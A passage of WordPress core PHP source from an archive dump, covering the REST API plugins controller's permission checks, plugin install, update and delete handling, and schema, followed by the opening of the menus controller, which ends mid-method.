			}

			$data['_file'] = $file;

			if ( ! $this->does_plugin_match_request( $request, $data ) ) {
				continue;
			}

			$plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) );
		}

		return new WP_REST_Response( $plugins );
	}

	/**
	 * Checks if a given request has access to get a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugin',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Retrieves one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if the given plugin can be viewed by the current user.
	 *
	 * On multisite, this hides non-active network only plugins if the user does not have permission
	 * to manage network plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return true|WP_Error True if can read, a WP_Error instance otherwise.
	 */
	protected function check_read_permission( $plugin ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! $this->is_plugin_installed( $plugin ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		if ( ! is_multisite() ) {
			return true;
		}

		if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_view_plugin',
			__( 'Sorry, you are not allowed to manage this plugin.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to upload plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_install_plugin',
				__( 'Sorry, you are not allowed to install plugins on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate plugins.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Uploads a plugin and optionally activates it.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		global $wp_filesystem;

		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		$slug = $request['slug'];

		// Verify filesystem is accessible first.
		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $slug,
				'fields' => array(
					'sections'       => false,
					'language_packs' => true,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) {
				$api->add_data( array( 'status' => 404 ) );
			} else {
				$api->add_data( array( 'status' => 500 ) );
			}

			return $api;
		}

		$skin     = new WP_Ajax_Upgrader_Skin();
		$upgrader = new Plugin_Upgrader( $skin );

		$result = $upgrader->install( $api->download_link );

		if ( is_wp_error( $result ) ) {
			$result->add_data( array( 'status' => 500 ) );

			return $result;
		}

		// This should be the same as $result above.
		if ( is_wp_error( $skin->result ) ) {
			$skin->result->add_data( array( 'status' => 500 ) );

			return $skin->result;
		}

		if ( $skin->get_errors()->has_errors() ) {
			$error = $skin->get_errors();
			$error->add_data( array( 'status' => 500 ) );

			return $error;
		}

		if ( is_null( $result ) ) {
			// Pass through the error from WP_Filesystem if one was raised.
			if ( $wp_filesystem instanceof WP_Filesystem_Base
				&& is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors()
			) {
				return new WP_Error(
					'unable_to_connect_to_filesystem',
					$wp_filesystem->errors->get_error_message(),
					array( 'status' => 500 )
				);
			}

			return new WP_Error(
				'unable_to_connect_to_filesystem',
				__( 'Unable to connect to the filesystem. Please confirm your credentials.' ),
				array( 'status' => 500 )
			);
		}

		$file = $upgrader->plugin_info();

		if ( ! $file ) {
			return new WP_Error(
				'unable_to_determine_installed_plugin',
				__( 'Unable to determine what plugin was installed.' ),
				array( 'status' => 500 )
			);
		}

		if ( 'inactive' !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}

			$changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $changed_status ) ) {
				return $changed_status;
			}
		}

		// Install translations.
		$installed_locales = array_values( get_available_languages() );
		/** This filter is documented in wp-includes/update.php */
		$installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales );

		$language_packs = array_map(
			static function ( $item ) {
				return (object) $item;
			},
			$api->language_packs
		);

		$language_packs = array_filter(
			$language_packs,
			static function ( $pack ) use ( $installed_locales ) {
				return in_array( $pack->language, $installed_locales, true );
			}
		);

		if ( $language_packs ) {
			$lp_upgrader = new Language_Pack_Upgrader( $skin );

			// Install all applicable language packs for the plugin.
			$lp_upgrader->bulk_upgrade( $language_packs );
		}

		$path          = WP_PLUGIN_DIR . '/' . $file;
		$data          = get_plugin_data( $path, false, false );
		$data['_file'] = $file;

		$response = $this->prepare_item_for_response( $data, $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}
		}

		return true;
	}

	/**
	 * Updates one plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $handled ) ) {
				return $handled;
			}
		}

		$this->update_additional_fields_for_object( $data, $request );

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if a given request has access to delete a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'delete_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to delete plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Deletes one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		if ( is_plugin_active( $request['plugin'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_active_plugin',
				__( 'Cannot delete an active plugin. Please deactivate it first.' ),
				array( 'status' => 400 )
			);
		}

		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$prepared = $this->prepare_item_for_response( $data, $request );
		$deleted  = delete_plugins( array( $request['plugin'] ) );

		if ( is_wp_error( $deleted ) ) {
			$deleted->add_data( array( 'status' => 500 ) );

			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $prepared->get_data(),
			)
		);
	}

	/**
	 * Prepares the plugin for the REST response.
	 *
	 * @since 5.5.0
	 *
	 * @param array           $item    Unmarked up and untranslated plugin data from {@see get_plugin_data()}.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );

		$item   = _get_plugin_data_markup_translate( $item['_file'], $item, false );
		$marked = _get_plugin_data_markup_translate( $item['_file'], $item, true );

		$data = array(
			'plugin'       => substr( $item['_file'], 0, - 4 ),
			'status'       => $this->get_plugin_status( $item['_file'] ),
			'name'         => $item['Name'],
			'plugin_uri'   => $item['PluginURI'],
			'author'       => $item['Author'],
			'author_uri'   => $item['AuthorURI'],
			'description'  => array(
				'raw'      => $item['Description'],
				'rendered' => $marked['Description'],
			),
			'version'      => $item['Version'],
			'network_only' => $item['Network'],
			'requires_wp'  => $item['RequiresWP'],
			'requires_php' => $item['RequiresPHP'],
			'textdomain'   => $item['TextDomain'],
		);

		$data = $this->add_additional_fields_to_object( $data, $request );

		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters plugin data for a REST API response.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The plugin item from {@see get_plugin_data()}.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_plugin', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param array $item The plugin item.
	 * @return array[]
	 */
	protected function prepare_links( $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/%s/%s',
						$this->namespace,
						$this->rest_base,
						substr( $item['_file'], 0, - 4 )
					)
				),
			),
		);
	}

	/**
	 * Gets the plugin header data for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to get data for.
	 * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed.
	 */
	protected function get_plugin_data( $plugin ) {
		$plugins = get_plugins();

		if ( ! isset( $plugins[ $plugin ] ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		$data          = $plugins[ $plugin ];
		$data['_file'] = $plugin;

		return $data;
	}

	/**
	 * Get's the activation status for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return string Either 'network-active', 'active' or 'inactive'.
	 */
	protected function get_plugin_status( $plugin ) {
		if ( is_plugin_active_for_network( $plugin ) ) {
			return 'network-active';
		}

		if ( is_plugin_active( $plugin ) ) {
			return 'active';
		}

		return 'inactive';
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) {
		if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_network_plugins',
				__( 'Sorry, you are not allowed to manage network plugins.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_deactivate_plugin',
				__( 'Sorry, you are not allowed to deactivate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function handle_plugin_status( $plugin, $new_status, $current_status ) {
		if ( 'inactive' === $new_status ) {
			deactivate_plugins( $plugin, false, 'network-active' === $current_status );

			return true;
		}

		if ( 'active' === $new_status && 'network-active' === $current_status ) {
			return true;
		}

		$network_activate = 'network-active' === $new_status;

		if ( is_multisite() && ! $network_activate && is_network_only_plugin( $plugin ) ) {
			return new WP_Error(
				'rest_network_only_plugin',
				__( 'Network only plugin must be network activated.' ),
				array( 'status' => 400 )
			);
		}

		$activated = activate_plugin( $plugin, '', $network_activate );

		if ( is_wp_error( $activated ) ) {
			$activated->add_data( array( 'status' => 500 ) );

			return $activated;
		}

		return true;
	}

	/**
	 * Checks that the "plugin" parameter is a valid path.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return bool
	 */
	public function validate_plugin_param( $file ) {
		if ( ! is_string( $file ) || ! preg_match( '/' . self::PATTERN . '/u', $file ) ) {
			return false;
		}

		$validated = validate_file( plugin_basename( $file ) );

		return 0 === $validated;
	}

	/**
	 * Sanitizes the "plugin" parameter to be a proper plugin file with ".php" appended.
	 *
	 * @since 5.5.0
	 *
	 * @param string $file The plugin file parameter.
	 * @return string
	 */
	public function sanitize_plugin_param( $file ) {
		return plugin_basename( sanitize_text_field( $file . '.php' ) );
	}

	/**
	 * Checks if the plugin matches the requested parameters.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request The request to require the plugin matches against.
	 * @param array           $item    The plugin item.
	 * @return bool
	 */
	protected function does_plugin_match_request( $request, $item ) {
		$search = $request['search'];

		if ( $search ) {
			$matched_search = false;

			foreach ( $item as $field ) {
				if ( is_string( $field ) && str_contains( strip_tags( $field ), $search ) ) {
					$matched_search = true;
					break;
				}
			}

			if ( ! $matched_search ) {
				return false;
			}
		}

		$status = $request['status'];

		if ( $status && ! in_array( $this->get_plugin_status( $item['_file'] ), $status, true ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the plugin is installed.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file.
	 * @return bool
	 */
	protected function is_plugin_installed( $plugin ) {
		return file_exists( WP_PLUGIN_DIR . '/' . $plugin );
	}

	/**
	 * Determine if the endpoints are available.
	 *
	 * Only the 'Direct' filesystem transport, and SSH/FTP when credentials are stored are supported at present.
	 *
	 * @since 5.5.0
	 *
	 * @return true|WP_Error True if filesystem is available, WP_Error otherwise.
	 */
	protected function is_filesystem_available() {
		$filesystem_method = get_filesystem_method();

		if ( 'direct' === $filesystem_method ) {
			return true;
		}

		ob_start();
		$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
		ob_end_clean();

		if ( $filesystem_credentials_are_stored ) {
			return true;
		}

		return new WP_Error( 'fs_unavailable', __( 'The filesystem is currently unavailable for managing plugins.' ), array( 'status' => 500 ) );
	}

	/**
	 * Retrieves the plugin's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'plugin',
			'type'       => 'object',
			'properties' => array(
				'plugin'       => array(
					'description' => __( 'The plugin file.' ),
					'type'        => 'string',
					'pattern'     => self::PATTERN,
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'status'       => array(
					'description' => __( 'The plugin activation status.' ),
					'type'        => 'string',
					'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'         => array(
					'description' => __( 'The plugin name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'plugin_uri'   => array(
					'description' => __( 'The plugin\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author'       => array(
					'description' => __( 'The plugin author.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'author_uri'   => array(
					'description' => __( 'Plugin author\'s website address.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'description'  => array(
					'description' => __( 'The plugin description.' ),
					'type'        => 'object',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'The raw plugin description.' ),
							'type'        => 'string',
						),
						'rendered' => array(
							'description' => __( 'The plugin description formatted for display.' ),
							'type'        => 'string',
						),
					),
				),
				'version'      => array(
					'description' => __( 'The plugin version number.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
				'network_only' => array(
					'description' => __( 'Whether the plugin can only be activated network-wide.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_wp'  => array(
					'description' => __( 'Minimum required version of WordPress.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'requires_php' => array(
					'description' => __( 'Minimum required version of PHP.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'textdomain'   => array(
					'description' => __( 'The plugin\'s text domain.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.5.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['status'] = array(
			'description' => __( 'Limits results to plugins with the given status.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
				'enum' => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
			),
		);

		unset( $query_params['page'], $query_params['per_page'] );

		return $query_params;
	}
}
endpoints/class-wp-rest-menus-controller.php000066600000041265152442706000015306 0ustar00<?php
/**
 * REST API: WP_REST_Menus_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to managed menu terms associated via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menus_Controller extends WP_REST_Terms_Controller {

	/**
	 * Checks if a request has access to read menus.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a request has access to read or edit the specified menu.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$has_permission = parent::get_item_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Gets the term, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
	 */
	protected function get_term( $id ) {
		$term = parent::get_term( $id );

		if ( is_wp_error( $term ) ) {
			return $term;
		}

		$nav_term           = wp_get_nav_menu_object( $term );
		$nav_term->auto_add = $this->get_menu_auto_add( $nav_term->term_id );

		return $nav_term;
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the current user has permission, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menus.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Prepares a single term output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term         $term    Term object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $term, $request ) {
		$nav_menu = wp_get_nav_menu_object( $term );
		$response = parent::prepare_item_for_response( $nav_menu, $request );

		$fields = $this->get_fields_for_response( $request );
		$data   = $response->get_data();

		if ( rest_is_field_included( 'locations', $fields ) ) {
			$data['locations'] = $this->get_menu_locations( $nav_menu->term_id );
		}

		if ( rest_is_field_included( 'auto_add', $fields ) ) {
			$data['auto_add'] = $this->get_menu_auto_add( $nav_menu->term_id );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $term ) );
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $term, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Term $term Term object.
	 * @return array Links for the given term.
	 */
	protected function prepare_links( $term ) {
		$links = parent::prepare_links( $term );

		$locations = $this->get_menu_locations( $term->term_id );
		foreach ( $locations as $location ) {
			$url = rest_url( sprintf( 'wp/v2/menu-locations/%s', $location ) );

			$links['https://api.w.org/menu-location'][] = array(
				'href'       => $url,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Prepares a single term for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object Prepared term data.
	 */
	public function prepare_item_for_database( $request ) {
		$prepared_term = parent::prepare_item_for_database( $request );

		$schema = $this->get_item_schema();

		if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
			$prepared_term->{'menu-name'} = $request['name'];
		}

		return $prepared_term;
	}

	/**
	 * Creates a single term in a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = wp_get_nav_menu_object( (int) $request['parent'] );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		$term = wp_update_nav_menu_object( 0, wp_slash( (array) $prepared_term ) );

		if ( is_wp_error( $term ) ) {
			/*
			 * If we're going to inform the client that the term already exists,
			 * give them the identifier for future use.
			 */

			if ( in_array( 'menu_exists', $term->get_error_codes(), true ) ) {
				$existing_term = get_term_by( 'name', $prepared_term->{'menu-name'}, $this->taxonomy );
				$term->add_data( $existing_term->term_id, 'menu_exists' );
				$term->add_data(
					array(
						'status'  => 400,
						'term_id' => $existing_term->term_id,
					)
				);
			} else {
				$term->add_data( array( 'status' => 400 ) );
			}

			return $term;
		}

		$term = $this->get_term( $term );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );

		$response = $this->prepare_item_for_response( $term, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );

		return $response;
	}

	/**
	 * Updates a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		if ( isset( $request['parent'] ) ) {
			if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
				return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) );
			}

			$parent = get_term( (int) $request['parent'], $this->taxonomy );

			if ( ! $parent ) {
				return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) );
			}
		}

		$prepared_term = $this->prepare_item_for_database( $request );

		// Only update the term if we have something to update.
		if ( ! empty( $prepared_term ) ) {
			if ( ! isset( $prepared_term->{'menu-name'} ) ) {
				// wp_update_nav_menu_object() requires that the menu-name is always passed.
				$prepared_term->{'menu-name'} = $term->name;
			}

			$update = wp_update_nav_menu_object( $term->term_id, wp_slash( (array) $prepared_term ) );

			if ( is_wp_error( $update ) ) {
				return $update;
			}
		}

		$term = get_term( $term->term_id, $this->taxonomy );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );

		$schema = $this->get_item_schema();
		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$locations_update = $this->handle_locations( $term->term_id, $request );

		if ( is_wp_error( $locations_update ) ) {
			return $locations_update;
		}

		$this->handle_auto_add( $term->term_id, $request );

		$fields_update = $this->update_additional_fields_for_object( $term, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'view' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );

		$response = $this->prepare_item_for_response( $term, $request );

